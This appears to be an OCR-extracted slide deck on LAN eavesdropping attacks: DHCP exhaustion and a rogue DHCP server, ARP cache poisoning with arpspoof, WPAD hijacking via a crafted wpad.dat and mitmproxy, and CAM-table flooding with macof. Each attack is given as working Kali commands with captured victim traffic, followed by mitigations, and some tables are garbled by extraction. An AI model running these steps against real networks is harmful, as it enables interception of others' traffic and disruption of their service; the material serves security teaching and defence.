LAN based eavesdropping attacks

DHCP Exhaustion


What is DHCP?


Dynamic host configuration protocol

- Primary function is to hand out network parameters
 - IP Address
 - Name Server (DNS)
 - Default Gateway
 - NTP Server

Can do many other things using DHCP options

DHCPDISCOVER Client request for IP address and other configuration options





Basic network parameters can be seen here in Linux via ifconfig -a and /etc/resolv.


conf:

eth0	Link encap:Ethernet
	<pre>inet addr:192.168.1.138 Bcast:192.168.1.255 Mask:255.255.255.0</pre>
	UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
	RX packets:426772 errors:0 dropped:0 overruns:0 frame:0
	TX packets:215770 errors:0 dropped:0 overruns:0 carrier:0
	collisions:0 txqueuelen:1000
	RX bytes:32695620 (31.1 MiB) TX bytes:16693167 (15.9 MiB)
	nameserver 8.8.8.8

Basic network parameters can be seen here in Windows via ipconfig /all:

Ethernet adapter Local Area Connection:

Connection-specif Description							UMware Accelerated AMD PCNet Adapter
Physical Address						:	00-0C-29-6B-16-9F
Dhop Enabled							
Autoconfiguration							
IP Address							192.168.1.113
Subnet Mask							255.255.255.0
Default Gateway .							192.168.1.1
DHCP Server							192.168.1.1
DNS Servers							
Lease Obtained.							Tuesday, March 09, 2010 2:33:37 AM
Lease Expires		-	-			=	Wednesday, March 10, 2010 2:33:37 AM



Refresh **Client Host Name Expires** IP Address MAC Address Delete 192.168.2.102 00:1e:c2:f0:42:b6 23:51:30 **iPhone** OfficeXPS410 192.168.2.101 00:19:d1:30:f4:6c 23:45:59 192.168.2.103 00:1d:d8:0a:da:02 23:26:55 owner-PC 192.168.2.105 00:22:69:7a:dc:d6 23:24:41

```
[*] DHCP attack started
[*] DHCP offer of address: 192.168.0.53
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.54
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.55
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.56
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.57
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.58
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.59
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.60
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.52
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.51
[*] Got the ACK back, IP address allocated successfully
[*] Timeout waiting for OFFER
[*] Got a timeout, assuming DHCP exhausted. You Win
```

Enable Packet Forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Configure Rogue DHCPD:

- 1. apt-get install isc-dhcp-server
- 2. vim /etc/dhcp/dhcpd.conf

```
default-lease-time 600;
max-lease-time 7200;
option domain-name-servers 192.168.1.X, 192.168.1.X;
option domain-name "yourdomainname.com";
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.150 192.168.1.200;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.X;
```

3. /etc/init.d/isc-dhcp-server restart

DHCPIG

- Detects existing leases and sends DHCPRELEASE to DHCPD
- Requests all leases from pool
- Sends gratuitous ARPs from every IP on the network (Windows will then request a new IP due to what it thinks is an IP address conflict)

Start DHCPIG to exhaust DHCPD lease pool:

root@kali:/usr/share# pig.py eth0
WARNING: No route found for IPv6 destination ::

Sending DHCPDISCOVER on eh0
DHCPOFFER handing out IP: 192.168.1.128
sent DHCP Request for 192.168.1.128
waiting for first DHCP Server response on eth0

Sending DHCPDISCOVER on eth0
Begin emission:
..*****Finished to send 256 packets.

The quieter you become, the me

Sending DHCPDISCOVER on eth0
DHCPOFFER handing out IP: 192.168.1.113
.sent DHCP Request for 192.168.1.113
DHCPOFFER handing out IP: 192.168.1.114
sent DHCP Request for 192.168.1.114

DHCP Exhaustion Mitigation

DHCP Snooping

Switch blocks rogue DHCPD offer packets as well rate limits untrusted ports.

Option 82

Relay appends option 82 to request and forwards to DHCPD, DHCPD can use the additional information to restrict the amount of leases given to a specific part of a network or create access restrictions based upon the additional information.

RFC3118

Authentication for DHCP Messages using either a configuration token or delayed authentication. So either pass a constant, non-computed token such as a plain-text password or have the client request authentication info in its DHCPDISCOVER message. This authentication information contains a nonce value generated by the source as a message authentication code.

Don't use DHCP

Network segmentation

ARP Cache Poisoning


What is ARP?

Address Resolution Protocol


Used to resolve IP addresses to MAC addresses

Every device keeps a cache of these mappings

Switches forward packets based on MAC address



ARP Response



The ARP cache can be vi		_inux using arp -a:
Interface: 192.168.15 Internet Address 192.168.150.2		Type dynamic
192.168.150.10	00-0e-7f-af-6d-b8	dynamic
192.168.150.24	00-0f-fe-25-74-40	dynamic
192.168.150.32	00-0b-cd-6e-b8-2c	dynamic
192.168.150.36	00-0f-fe-3a-aa-3f	dynamic
192.168.150.42	00-0f-fe-87-1e-98	dynamic
192.168.150.48	00-0e-7f-63-8d-d1	dynamic
192.168.150.54	00-16-35-ae-3b-a9	dynamic
192.168.150.58	00-16-35-ae-39-53	dynamic
192.168.150.60	00-21-63-68-e9-29	dynamic
192.168.150.62	00-0f-fe-9b-e8-38	dynamic
192.168.150.78	00-0f-fe-3a-a7-d7	dynamic
192.168.150.90	00-0e-7f-f2-f8-e8	dynamic
192.168.150.92	00-0f-fe-3a-a7-96	dynamic
192.168.150.98 192.168.150.114 192.168.150.144	00-01-16-3a-a7-76 00-0f-fe-85-8d-6b 00-0e-7f-6c-81-25 00-22-5f-12-67-a2	dynamic dynamic dynamic dynamic
192.168.150.156 192.168.150.157 192.168.150.159	00-0f-fe-d1-7e-1e 00-0f-fe-d1-7e-1e 00-06-1b-c2-e1-f3	dynamic dynamic dynamic dynamic

00-19-66-32-53-25

00-00-aa-8c-be-07

00-0e-7f-64-5f-d0 ff-ff-ff-ff-ff-ff

01-00-5e-00-00-16

01-00-5e-00-00-fb

dynamic

dynamic

dynamic

static

static

static

192.168.150.208


192.168.150.219

192.168.150.221

192.168.150.255

224.0.0.22

224.0.0.251



DSNIFF

 dsniff is a collection of tools for network auditing and penetration testing

 dsniff has many tools: filesnarf, mailsnarf, msgsnarf, urlsnarf, webspy, <u>arpspoof</u>, dnsspoof, macof, sshmitm and webmitm

Enable Packet Forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Start two arpspoof instances, one for the victim and one for its default gateway:

```
root@kali:~# screen arpspoof -t 192.168.1.1 192.168.1.161
root@kali:~# screen arpspoof -t 192.168.1.161 192.168.1.1
```

```
52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1
52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1
52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1
52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1
52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1
```

52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 0:40:ca:94:f6:d7 0806 42: arp reply 192.168.1.161 is-at 52:54:0:cd:3c:e1

0 arpspoof 52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1

52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1/1 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1

52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1 52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1

52:54:0:cd:3c:e1 52:54:0:a0:81:e4 0806 42: arp reply 192.168.1.1 is-at 52:54:0:cd:3c:e1 FO F4 0 and Da and F0 F4 0 and O1 and O000 40 and one like 100 100 1 1 day at F0 F4 0 and Da

View all traffic from the victim that was not intended for your

```
machine:
root@kali:/# tcpdump -n -i eth0 '((dst host not 192.168.1.138)
                   and (not arp) and (src host 192.168.1.161))'
06:51:10.085367 IP 192.168.1.161 > 74.125.224.134: ICMP echo request, id 1, seg 38, length 40
06:51:10.389010 IP 192.168.1.161.61006 > 74.125.224.159.443: Flags [.], seq 556:557, ack 545, win 254, length 1
06:51:10.389061 IP 192.168.1.161.61006 > 74.125.224.159.443: Flags [.], seg 556:557, ack 545, win 254, length 1
06:51:11.100984 IP 192.168.1.161 > 74.125.224.134: ICMP echo request, id 1, seq 39, length 40
06:51:11.101032 IP 192.168.1.161 > 74.125.224.134: ICMP echo request, id 1, seq 39, length 40
06:51:14.450377 IP 192.168.1.161.61008 > 74.125.224.215.443: Flags [.], seq 953:954, ack 4620, win 256, length 1
06:51:14.450426 IP 192.168.1.161.61008 > 74.125.224.215.443: Flags [.], seg 953:954, ack 4620, win 256, length 1
06:51:15.501304 IP 192.168.1.161.61005 > 74.125.224.127.443: Flags [.], seq 337:338, ack 408, win 255, length 1
06:51:15.501347 IP 192.168.1.161.61005 > 74.125.224.127.443: Flags [.], seq 337:338, ack 408, win 255, length 1
06:51:16.942786 IP 192.168.1.161.61010 > 74.125.224.133.443: Flags [.], seq 8583:8584, ack 363559, win 256, length 1
06:51:16.942838 IP 192.168.1.161.61010 > 74.125.224.133.443: Flags [.], seq 8583:8584, ack 363559, win 256, length 1
06:51:18.088922 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seq 5112:5537, ack 561930, win 798, length 425
06:51:18.088981 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seq 5112:5537, ack 561930, win 798, length 425,
06:51:18.089344 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seq 5537:5570, ack 561930, win 798, length 33
06:51:18.089354 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seq 5537:5570, ack 561930, win 798, length 33
```

06:51:18.098047 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seq 5570:5987, ack 561930, win 798, length 417 06:51:18.098060 IP 192.168.1.161.61004 > 74.125.224.240.443; Flags [P.], seq 5570:5987, ack 561930, win 798, length 417

06:51:18.156514 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seq 5987:6020, ack 562288, win 796, length 33 06:51:18.156524 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seg 5987:6020, ack 562288, win 796, length 33

06:51:18.166256 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seq 6020:6053, ack 565855, win 782, length 33 06:51:18.166265 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [P.], seq 6020:6053, ack 565855, win 782, length 33

06:51:18.153529 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [.], ack 562020, win 797, length 0 06:51:18.153543 IP 192.168.1.161.61004 > 74.125.224.240.443; Flags [.], ack 562020, win 797, length 0 06:51:18.155517 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [.], ack 562255, win 796, length 0 06:51:18.155528 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [.], ack 562255, win 796, length 0

06:51:18.162272 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [.], ack 563773, win 790, length 0 06:51:18.162293 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [.], ack 563773, win 790, length 0 06:51:18.165273 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [.], ack 565822, win 782, length 0 06:51:18.165282 IP 192.168.1.161.61004 > 74.125.224.240.443: Flags [.], ack 565822, win 782, length 0

ARP Poisoning Mitigation

Network segmentation

ARP packets will not leave their network so by putting each device on its own network you can segregate ARP packets

ARP Inspection

Uses a table created when DHCP Snooping is enabled to validate IP to MAC address bindings

Static ARP entries

By creating static ARP entries you can tell your machine not to respond to ARP replies / gratuitous ARPs

ARP monitoring application client side such as ARPWatch

Use a tool to monitor new entries in ARP cache and alert when a previous mapping has changed

WPAD

What is WPAD?

Local Area Network (LAN) Settings

✓ <u>Automatically detect settings</u>

Use automatic configuration script

dial-up or VPN connections).

Automatic configuration may override manual settings. To ensure the use of manual settings, disable automatic configuration.

Use a proxy server for your LAN (These settings will not apply to

Bypass proxy server for local addresses

Advanced...

Cancel

Automatic configuration

Web Proxy Autodiscovery Protocol

Used to locate URL of a web proxy configuration file

Checks for existence of WPAD via DHCP, DNS and

Netbios in that order to locate the URL

Enabled by default in Windows :)

How does WPAD work?

- 1. One of the following happens:
 - a. The device was issued the URL to the configuration file during the DHCP process
 - b. The device does a DNS query to resolve WPAD
 - c. The device broadcasts a NetBios name lookup
- 2. The device fetches the proxy auto-config file from the URL
- 3. The device then used the proxy information from the config file for web traffic

Change hostname to WPAD and start samba and netbios services, confirm they are running:

```
root@kali:/# hostname WPAD
root@kali:/# ./usr/sbin/smbd -D
root@kali:/# ./usr/sbin/nmbd -D
root@kali:/# ps x | grep mbd
22256 ?
             Ss 0:00 ./usr/sbin/smbd -D
22257 ? S 0:00 ./usr/sbin/smbd -D
22259 ?
            Ss 0:00 ./usr/sbin/nmbd -D
```

Create the following wpad.dat file to be served to the client then serve it up with apache:

```
root@kali:~/tinyproxy-1.8.3# echo -e 'function FindProxyForURL(url,
host)\n{\n\treturn"PROXY 192.168.1.138:8080";\n}' > /var/www/wpad.
dat
root@kali:~/tinyproxy-1.8.3# cat /var/www/wpad.dat
function FindProxyForURL(url, host)
{
```

root@kali:~# service apache2 start

return"PROXY 192.168.1.138:8080";

Configure a proxy server:

root@kali:~# mitmproxy -e -p 8080

-> handled 1 requests

[1/208]

```
>> GET http://www.staples.com/sbd/cre/products/140615/root@wpad:~ages/37481 940x
       300 3.qif
       ← 200 image/gif 69.42kB 313.31kB/s
   GET http://metrics.staples.com/b/ss/staplescomprod/1/H.24.2/s5678335179807
       6?A0B=1&ndh=1&t=16%2F5%2F2014%2020%3A27%3A30%201%20420&ce=UTF-8&ns=sta
       ples&pageName=Homepage&g=http%3A%2F%2Fwww.staples.com%2F&cc=USD&c27=Fl
       yout%3AServices%3AServices%3AServices&pe=lnk_o&s=1680x1050&c=24&j=1.6&
       v=Y&k=Y&bw=827&bh=924&p=Widevine%20Content%20Decryption%20Module%3BSho
       ckwave%20Flash%3BChrome%20Remote%20Desktop%20Viewer%3BNative%20Client%
       3BChrome%20PDF%20Viewer%3BGoogle%20Update%3BJava%20Deployment%20Toolki
       t%207.0.600.19%3BJava(TM)%20Platform%20SE%207%20U60%3B&pe=lnk o&pev2=P
Event loa
192.168.1.161:62337: connect
192.168.1.161:62338: connect
192.168.1.161:62339: connect
192.168.1.161:62331: disconnect
  -> handled 2 requests
192.168.1.161:62340: connect
192.168.1.161:62329: disconnect
  -> handled 1 requests
192.168.1.161:62334: disconnect
```

?:help [*:8080]

Packet capture of the query and response for the wpad.dat file:

138
Len=0
=1 Win=
n=65700
win=296
s-proxy

View victims http traffic with the following tcpdump filters:

root@kali:/# tcpdump -A -i eth0 ip host 192.168.1.161 and port 80 96:57:04.611507 IP 192.168.1.161.61030 > methlab.23.org.http: Flags [P.], seq 1:334, ack 1, win 256, length 333 ...GET / HTTP/1.1z...f.PZ2k,../XP... Host: www.la2600.org

Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*; q = 0.8User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Geck o) Chrome/35.0.1916.153 Safari/537.36 Accept-Encoding: gzip, deflate, sdch

```
06:57:04.611530 IP methlab.23.org.http > 192.168.1.161.61030: Flags [.], ack
334, win 30, length 0
E..(F.@.@..+@z.....P.f../XZ2lyP...\.S..
06:57:05.045803 IP methlab.23.org.http > 192.168.1.161.61030: Flags [.], seq
1:1461, ack 334, win 30, length 1460
E...F.@.@..v@z......P.f../XZ2lyP...+...HTTP/1.1 200 0K
Date: Sun, 15 Jun 2014 22:00:09 GMT
```

X-Powered-By: PHP/4.3.9

Accept-Language: en-US,en;q=0.8

Content-Type: text/html

Server: Apache/1.3.31 (Unix) PHP/4.3.9 mod_ssl/2.8.19 OpenSSL/0.9.7d

WPAD Mitigation

Uncheck the box ...

• GPO option via registry change

Network segmentation

 Setting to loopback in hosts, creating a fake DNS entry and pointing it to a non-existent IP or issuing with option 252 via DHCPD will slow down initial browsing but will work.

CAM Overflow / MAC Flooding

What is a CAM table

 Switches keep a table of what MAC addresses are accessible from what port.

 The content addressable memory can only hold so many entries.

 A poorly designed / configured switch will act like a hub is it runs out of room in its CAM table.

Mac Address Table

0023.329a.53b0

00e0.7df0.c751

20

20

Vlan	Mac Address	Туре	Ports
16	0016.2c00.1ea6	DYNAMIC	Fa0/17
16	0010 3023 0020	DVNAMTC	Ea0/17

ra0/1/ 0030.c153.df6e 16 DYNAMIC Fa0/17 0050.5480.1bf0 DYNAMIC 16 Fa0/17 000c.2953.b754 20 DYNAMIC Fa0/20 001d.0930.5e54 DYNAMIC 20 Fa0/20

Total Mac Addresses for this criterion: 8

DYNAMIC

DYNAMIC

Fa0/23

Fa0/24

Use macof to flood the CAM table

```
root@kali:~# macof -i eth0
56:e7:43:2e:e3:f9 c:7a:83:3f:cf:96 0.0.0.0.22903 > 0.0.0.0.28987: S 1005189227:1005189227(0) win 512
a4:ef:b:39:f7:2e 23:c7:3c:65:4d:19 0.0.0.0.47946 > 0.0.0.0.16639: S 1500444575:1500444575(0) win 512
4:b5:8d:6c:0:65 4a:7f:9b:37:2c:f2 0.0.0.0.57411 > 0.0.0.0.44595: S 1694947897:1694947897(0) win 512
6e:f:92:7:d9:d4 24:96:60:5:8f:d0 0.0.0.0.63387 > 0.0.0.0.17696: S 511604083:511604083(0) win 512
dd:82:76:55:a1:bc 30:b5:b8:25:b3:84 0.0.0.0.33844 > 0.0.0.0.4410: S 261255121:261255121(0) win 512
b8:4e:3c:37:f5:a0 9:72:39:48:da:3c 0.0.0.0.7618 > 0.0.0.0.62309: S 719599689:719599689(0) win 512
dd:a7:29:6d:2d:7a ab:83:30:2e:8c:b0 0.0.0.0.54082 > 0.0.0.0.49752: S 465880800:465880800(0) win 512
27:2f:23:3f:f8:ba cc:4a:9:59:33:49 0.0.0.0.34711 > 0.0.0.0.17377: S 756637156:756637156(0) win 512
9d:19:86:7f:f2:10 d0:f:21:18:65:d3 0.0.0.0.34911 > 0.0.0.0.27533: S 551718295:551718295(0) win 512
9d:24:f2:23:81:43 a2:ef:17:76:6a:fa 0.0.0.0.38895 > 0.0.0.0.18256: S 772162761:772162761(0) win 512
6e:c9:15:65:1a:e1 cd:5d:c0:57:59:52 0.0.0.0.52252 > 0.0.0.0.12774: S 1823591529:1823591529(0) win 512
6d:be:74:7a:3e:52 5c:b2:b0:35:d2:e0 0.0.0.0.7143 > 0.0.0.0.11779: S 300584828:300584828(0) win 512
39:89:56:10:f6:e9 e2:84:0:9:49:7f 0.0.0.0.44992 > 0.0.0.0.64593: S 1831722002:1831722002(0) win 512
a2:bd:44:39:c3:f7 69:f2:41:11:74:2c 0.0.0.0.8623 > 0.0.0.0.38457: S 1102781987:1102781987(0) win 512
55:67:ff:5:c0:18 6b:bf:9d:6d:62:55 0.0.0.0.35643 > 0.0.0.0.38266: S 1850348134:1850348134(0) win 512
10:bc:cb:23:40:1a 43:8a:55:c:be:6d 0.0.0.0.28590 > 0.0.0.0.51530: S 1729400888:1729400888(0) win 512
a1:cc:39:1f:33:6e dd:ba:d4:75:85:ef 0.0.0.0.7551 > 0.0.0.0.48214: S 987485741:987485741(0) win 512
a9:4f:78:47:5d:7e 70:4:ae:11:2a:44 0.0.0.0.38614 > 0.0.0.0.57082: S 155917281:155917281(0) win 512
b:74:92:17:9:5 31:ee:95:43:36:22 0.0.0.0.7473 > 0.0.0.0.25206: S 1137070293:1137070293(0) win 512
8d:67:d7:33:77:80 6:c3:aa:3f:17:4c 0.0.0.0.50917 > 0.0.0.0.3452: $ 924557972:924557972(0) win 512
1d:e:bd:7c:d1:70 b2:aa:9a:2b:f8:20 0.0.0.0.12458 > 0.0.0.0.19410: S 1765777352:1765777352(0) win 512
e:94:4a:4f:a5:14 9e:b5:40:25:1f:95 0.0.0.0.57456 > 0.0.0.0.21517: S 258613427:258613427(0) win 512
```

CAM Overflow Mitigation

Port Security

Each port on the switch can be configured to only allow X amount of mappings, once that limit is met you can have the switch stop forwarding packets or only allow the first X to be forwarded

Don't allow dynamic mappings

Use static mappings and don't allow the CAM to be dynamically updated

DHCP Snooping

With DHCP Snooping enabled the switch will only update its CAM table with known good IP to MAC mappings created by the DHCP snooping binding database

Honorable Mentions

ICMP Redirect

DNS Cache Poisoning

Physical Access